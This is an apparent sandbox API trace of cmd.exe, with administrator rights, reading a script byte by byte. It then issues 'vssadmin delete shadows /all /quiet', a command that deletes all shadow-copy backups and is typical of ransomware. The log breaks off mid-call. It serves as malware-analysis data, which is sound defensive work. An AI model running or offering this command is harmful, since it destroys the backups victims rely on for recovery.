[0114.333] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0114.333] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.333] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.333] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.333] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0114.333] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.333] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.333] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.333] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0114.333] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.333] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.333] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.333] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0114.333] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.333] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.333] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.333] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0114.333] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.333] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.333] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.333] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0114.333] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.333] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.333] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.333] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0114.333] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.333] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.333] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.334] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0114.334] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.334] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.334] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.334] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0114.334] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.334] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.334] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.334] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0114.334] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.334] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.334] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.334] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0114.334] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.334] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.334] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.334] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0114.334] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.334] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.334] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.334] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0114.334] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.334] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.334] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.334] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0114.334] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.334] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.334] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.334] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0114.334] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.335] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.335] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.335] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0114.335] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.335] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.335] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.335] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0114.335] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.335] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.335] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.335] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0114.335] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.335] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.335] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.335] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0114.335] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.335] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.335] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.335] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0114.335] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.335] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.335] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.335] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0114.335] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.335] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.335] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.335] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0114.335] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.335] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.336] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.336] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0114.336] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.336] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.336] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.336] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0114.336] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.336] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.336] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.336] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0114.336] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.336] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.336] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.336] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0114.336] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.336] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.336] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.336] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0114.336] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.336] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.336] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.336] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0114.336] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.336] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.336] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.336] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0114.336] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.336] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.336] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.337] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0114.337] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.337] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.337] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.337] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0114.337] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.337] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.337] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.337] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0114.337] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.337] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.337] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.337] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0114.337] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.337] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.337] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.337] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0114.337] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.337] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.337] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.337] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0114.337] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.337] GetFileType (hFile=0xe8) returned 0x3 [0114.337] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.337] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.337] _get_osfhandle (_FileHandle=1) returned 0xf4 [0114.337] GetFileType (hFile=0xf4) returned 0x3 [0114.337] _get_osfhandle (_FileHandle=1) returned 0xf4 [0114.344] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x49eec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0114.344] WriteFile (in: hFile=0xf4, lpBuffer=0x49eec320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1af738, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesWritten=0x1af738*=0x24, lpOverlapped=0x0) returned 1 [0114.346] GetConsoleOutputCP () returned 0x4e3 [0114.346] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x49eebfe0 | out: lpCPInfo=0x49eebfe0) returned 1 [0114.346] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0114.346] GetConsoleTitleW (in: lpConsoleTitle=0x1af6f0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0114.346] SetErrorMode (uMode=0x0) returned 0x0 [0114.346] SetErrorMode (uMode=0x1) returned 0x0 [0114.346] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2090a0, lpFilePart=0x1aef80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1aef80*="Desktop") returned 0x25 [0114.346] SetErrorMode (uMode=0x0) returned 0x1 [0114.346] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49edf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0114.346] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0114.347] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49edf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0114.347] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0114.347] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1aecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aecf0) returned 0xffffffffffffffff [0114.347] GetLastError () returned 0x2 [0114.347] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x1aecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aecf0) returned 